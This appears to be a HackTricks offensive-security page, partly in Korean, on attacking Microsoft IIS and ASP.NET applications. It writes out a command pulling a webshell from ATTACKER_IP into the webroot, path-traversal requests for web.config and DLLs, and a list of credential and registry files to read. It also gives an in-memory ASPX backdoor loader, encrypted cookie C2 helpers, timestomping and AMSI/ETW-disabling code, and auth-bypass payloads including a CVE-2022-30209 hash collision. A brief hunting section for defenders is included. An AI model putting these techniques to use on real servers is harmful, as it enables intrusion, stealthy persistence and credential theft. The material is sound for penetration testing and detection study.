IIS - Internet Information Services

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

테스트용 실행 파일 확장자:

  • asp
  • aspx
  • config
  • php

Writable webroot → ASPX command shell

권한이 낮은 사용자/그룹이 C:\inetpub\wwwroot에 쓰기 권한이 있으면, ASPX webshell을 업로드하여 애플리케이션 풀 아이덴티티로서 OS 명령을 실행할 수 있습니다(종종 SeImpersonatePrivilege 권한을 보유합니다).

  • ACLs 확인: icacls C:\inetpub\wwwroot 또는 cacls .로 사용자/그룹에 (F)가 있는지 확인하세요.
  • PowerShell을 사용해 command webshell(예: fuzzdb/tennc cmd.aspx)을 업로드:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
  • /shell.aspx를 요청하고 명령을 실행하세요; 식별(identity)은 일반적으로 iis apppool\defaultapppool로 표시됩니다.
  • AppPool 토큰에 SeImpersonatePrivilege가 있을 때 Potato-family LPE(예: GodPotato/SigmaPotato)와 결합하여 SYSTEM으로 피벗할 수 있습니다.

내부 IP 주소 노출

302를 반환하는 모든 IIS 서버에서 Host header를 제거하고 HTTP/1.0을 사용해보세요. 응답 내부의 Location header가 내부 IP 주소를 가리킬 수 있습니다:

nc -v domain.com 80
openssl s_client -connect domain.com:443

내부 IP를 노출하는 응답:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config 파일 실행

You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

제가 만든 리스트를 다운로드하세요:

다음 리스트들의 내용을 합쳐서 생성했습니다:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

확장자를 추가하지 말고 사용하세요. 필요한 파일들은 이미 확장자가 포함되어 있습니다.

Path Traversal

Leaking source code

전체 분석은 다음 글을 확인하세요: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

요약하자면, 애플리케이션의 폴더들 안에는 여러 개의 web.config 파일이 있으며, 이들은 “assemblyIdentity” 파일들과 “namespaces” 를 참조합니다. 이 정보를 통해 where are executables located 를 파악하고 해당 실행 파일들을 다운로드할 수 있습니다.
다운로드한 Dlls 로부터도 새로운 namespaces 를 찾아 접근을 시도하고 web.config 파일을 얻어 더 많은 namespaces 와 assemblyIdentity 를 찾을 수 있습니다.
또한 connectionstrings.configglobal.asax 파일들에도 흥미로운 정보가 포함되어 있을 수 있습니다.

In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through “assemblyIdentity” XML tags.

바이너리 파일 탐색

An example of accessing the web.config file is shown below:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

이 요청은 다음과 같은 다양한 설정 및 종속성을 공개합니다:

  • EntityFramework 버전
  • AppSettings (웹페이지, 클라이언트 유효성 검사 및 JavaScript용)
  • System.web의 인증 및 런타임 구성
  • System.webServer 모듈 설정
  • Runtime의 어셈블리 바인딩(예: Microsoft.Owin, Newtonsoft.Json, System.Web.Mvc 등 많은 라이브러리)

이러한 설정은 /bin/WebGrease.dll 같은 특정 파일이 애플리케이션의 /bin 폴더 내에 위치함을 나타냅니다.

루트 디렉터리 파일

루트 디렉터리에서 발견되는 파일들, 예: /global.asax/connectionstrings.config(민감한 비밀번호를 포함하고 있음)는 애플리케이션의 구성 및 동작에 필수적입니다.

네임스페이스와 Web.Config

MVC 애플리케이션은 각 파일에서 반복 선언을 피하기 위해 특정 네임스페이스에 대해 추가 web.config files를 정의하기도 합니다. 이는 다른 web.config를 다운로드하라는 요청에서 확인됩니다:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLL 다운로드

사용자 지정 네임스페이스의 언급은 /bin 디렉터리에 WebApplication1라는 DLL이 존재함을 암시합니다. 이어서 WebApplication1.dll을 다운로드하는 요청이 표시됩니다:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

이는 /bin 디렉터리에 System.Web.Mvc.dllSystem.Web.Optimization.dll 같은 다른 필수 DLL들이 존재함을 시사합니다.

DLL이 WebApplication1.Areas.Minded라는 네임스페이스를 임포트하는 시나리오에서는, 공격자가 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일들이 존재하며 해당 파일들이 특정 구성과 /bin 폴더의 다른 DLL들에 대한 참조를 포함한다고 추정할 수 있습니다. 예를 들어 /Minded/Views/web.config에 대한 요청은 구성과 네임스페이스를 드러내어 다른 DLL인 WebApplication1.AdditionalFeatures.dll의 존재를 나타낼 수 있습니다.

공통 파일

출처: here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 오류

If you see an error like the following one:

다음과 같은 오류가 표시된다면:

이는 서버가 Host 헤더에 올바른 도메인 이름을 받지 못했다는 뜻입니다.
웹 페이지에 접근하려면 제공된 SSL Certificate을 확인해 도메인/서브도메인 이름을 찾을 수 있는지 확인하세요. 만약 없다면 올바른 호스트를 찾을 때까지 brute force VHosts가 필요할 수 있습니다.

암호화된 구성 및 ASP.NET Core Data Protection key rings 복호화

IIS에서 호스팅되는 .NET 앱에서 비밀을 보호하기 위한 두 가지 일반적인 패턴은:

  • web.config의 같은 섹션을 위한 ASP.NET Protected Configuration (RsaProtectedConfigurationProvider).
  • 애플리케이션 비밀과 쿠키를 보호하는 데 사용되는 ASP.NET Core Data Protection key ring (로컬에 저장됨).

웹 서버에 파일시스템 또는 인터랙티브 접근 권한이 있으면, 같은 위치에 있는 키로 복호화가 가능한 경우가 많습니다.

  • ASP.NET (Full Framework) – decrypt protected config sections with aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – Data Protection key rings가 로컬에 저장된 위치를 확인하세요 (XML/JSON 파일), 예:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • 앱이 관리하는 폴더(예: App_Data\keys 또는 앱 옆의 Keys 디렉터리)

key ring을 확보하면, 앱의 identity로 실행되는 운영자가 동일한 목적(purposes)으로 IDataProtector를 인스턴스화해 저장된 비밀을 unprotect할 수 있습니다. key ring을 앱 파일과 함께 저장하는 잘못된 구성은 호스트가 침해된 이후 오프라인 복호화를 매우 쉽게 만듭니다.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Phantom Taurus/NET-STAR 툴킷은 w3wp.exe 내부에서 완전히 동작하는 fileless IIS persistence 및 post‑exploitation의 성숙한 패턴을 보여줍니다. 핵심 아이디어는 맞춤 tradecraft나 탐지/헌팅에 광범위하게 재사용할 수 있습니다.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: 하나의 .aspx 페이지(예: OutlookEN.aspx)가 Base64로 인코딩되고 선택적으로 Gzip으로 압축된 .NET DLL을 담습니다. 트리거 요청이 들어오면 이를 디코드·압축 해제하고 현재 AppDomain으로 reflectively 로드한 후 메인 진입점(예: ServerRun.Run())을 호출합니다.
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: 작업/결과는 Gzip → AES‑ECB/PKCS7 → Base64로 래핑되어 얼핏 합법적으로 보이는 cookie‑heavy 요청을 통해 이동합니다; 운영자는 청크 처리에 안정적인 구분자(예: “STAR”)를 사용했습니다.
  • Reflective .NET execution: 임의의 managed assembly를 Base64로 받아 Assembly.Load(byte[])로 로드하고 운영자 인자를 전달하여 디스크를 건드리지 않고도 모듈을 빠르게 교체합니다.
  • Operating in precompiled ASP.NET sites: 사이트가 precompiled 상태일 때에도 보조 shell/backdoor를 추가/관리할 수 있습니다(예: dropper가 동적 페이지/핸들러를 추가하거나 config 핸들러를 이용). 이는 bypassPrecompiledApp, addshell, listshell, removeshell 같은 명령으로 노출됩니다.
  • Timestomping/metadata forgery: changeLastModified 액션을 노출하고 배포 시(미래의 컴파일 타임스탬프 포함) timestomp하여 DFIR을 방해합니다.
  • Optional AMSI/ETW pre‑disable for loaders: 2단계 로더는 Assembly.Load를 호출하기 전에 AMSI와 ETW를 비활성화하여 in‑memory 페이로드의 검사 가능성을 줄일 수 있습니다.

최소한의 ASPX loader 패턴

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Packing/crypto 헬퍼 (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session 흐름 및 명령 표면

  • Session bootstrap 및 tasking은 정상적인 웹 활동과 섞이도록 cookies를 통해 전달된다.
  • 실제로 관찰된 명령에는 다음이 포함된다: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; 그리고 동적 실행 원시인 code_self, code_pid, run_code는 메모리 상의 .NET 실행을 위해 사용된다.

Timestomping 유틸리티

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Assembly.Load 이전에 AMSI/ETW를 인라인으로 비활성화하기 (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • 단일의, 이상하게 긴 Base64/Gzip 블롭을 포함한 ASPX 페이지; 쿠키가 많은 POST 요청.
  • w3wp.exe 내부에 백업되지 않은 managed 모듈; Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run 같은 문자열.
  • 트래픽에서 “STAR” 같은 반복 구분자; ASPX/assemblies에 대한 불일치하거나 심지어 미래 시점의 타임스탬프.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

많은 ASP.NET 앱이 Telerik UI for ASP.NET AJAX를 포함하며 인증 없이 접근 가능한 핸들러 Telerik.Web.UI.WebResource.axd를 노출합니다. Image Editor 캐시 엔드포인트(type=iec)에 접근 가능할 때, 파라미터 dkey=1 및 prtype은 public parameterless constructor를 사전 인증 없이 실행하게 하는 unsafe reflection을 활성화합니다. 이는 범용 DoS 원시를 제공하며, AppDomain.AssemblyResolve 핸들러가 취약한 앱에서는 사전 인증 RCE로 이어질 수 있습니다.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

이 기법을 사용하면 (Basic Authentication이 요구되는 경우에도) 발견된 각 폴더 내부의 폴더와 파일을 열거해볼 수 있습니다.
서버가 취약한 경우 이 기법의 주요 제한은 각 파일/폴더 이름의 처음 6글자까지만, 파일 확장자의 경우 처음 3글자까지만 찾을 수 있다는 점입니다.

다음 도구로 이 취약점을 테스트할 수 있습니다: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

또는 metasploit 사용: use scanner/http/iis_shortname_scanner

발견된 파일의 최종 이름을 찾는 좋은 아이디어는 https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py 스크립트처럼 옵션을 생성하도록 LLMs에 물어보는 것입니다.

Basic Authentication bypass

Basic authentication (IIS 7.5)을 우회하려면 다음에 접근을 시도해보세요: /admin:$i30:$INDEX_ALLOCATION/admin.php 또는 /admin::$INDEX_ALLOCATION/admin.php

이 취약점과 앞의 기법을 혼합하여 새로운 폴더를 찾고 인증을 우회할 수 있습니다.

ASP.NET Trace.AXD enabled debugging

ASP.NET은 디버깅 모드를 포함하며 그 파일은 trace.axd입니다.

이 파일은 애플리케이션에 대해 일정 기간 동안 이루어진 모든 요청의 매우 상세한 로그를 보관합니다.

이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청/응답 쿠키, 물리적 경로, 소스 코드 정보, 잠재적으로 사용자 이름과 비밀번호까지 포함될 수 있습니다.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH는 다음 정보를 사용합니다:

  • validationKey (string): 서명 검증에 사용할 hex 인코딩 키.
  • decryptionMethod (string): (기본값 “AES”).
  • decryptionIV (string): hex 인코딩 초기화 벡터(기본은 0 벡터).
  • decryptionKey (string): 복호화에 사용할 hex 인코딩 키.

하지만 일부는 이러한 파라미터의 기본값을 사용하고 쿠키 값으로 사용자 이메일을 사용하는 경우가 있습니다. 따라서 동일한 플랫폼을 사용하고 ASPXAUTH 쿠키를 사용하는 다른 웹을 찾고, 공격 대상 서버에서 가장하고자 하는 사용자 이메일로 사용자를 생성할 수 있다면, 두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 가장할 수 있을 가능성이 있습니다.
이 공격은 다음의 writeup에서 동작한 사례가 있습니다.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: 코드의 버그로 인해 사용자가 제공한 비밀번호를 제대로 검사하지 않아, 비밀번호 해시가 이미 캐시에 있는 키와 충돌하는 공격자는 해당 사용자로 로그인할 수 있습니다.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기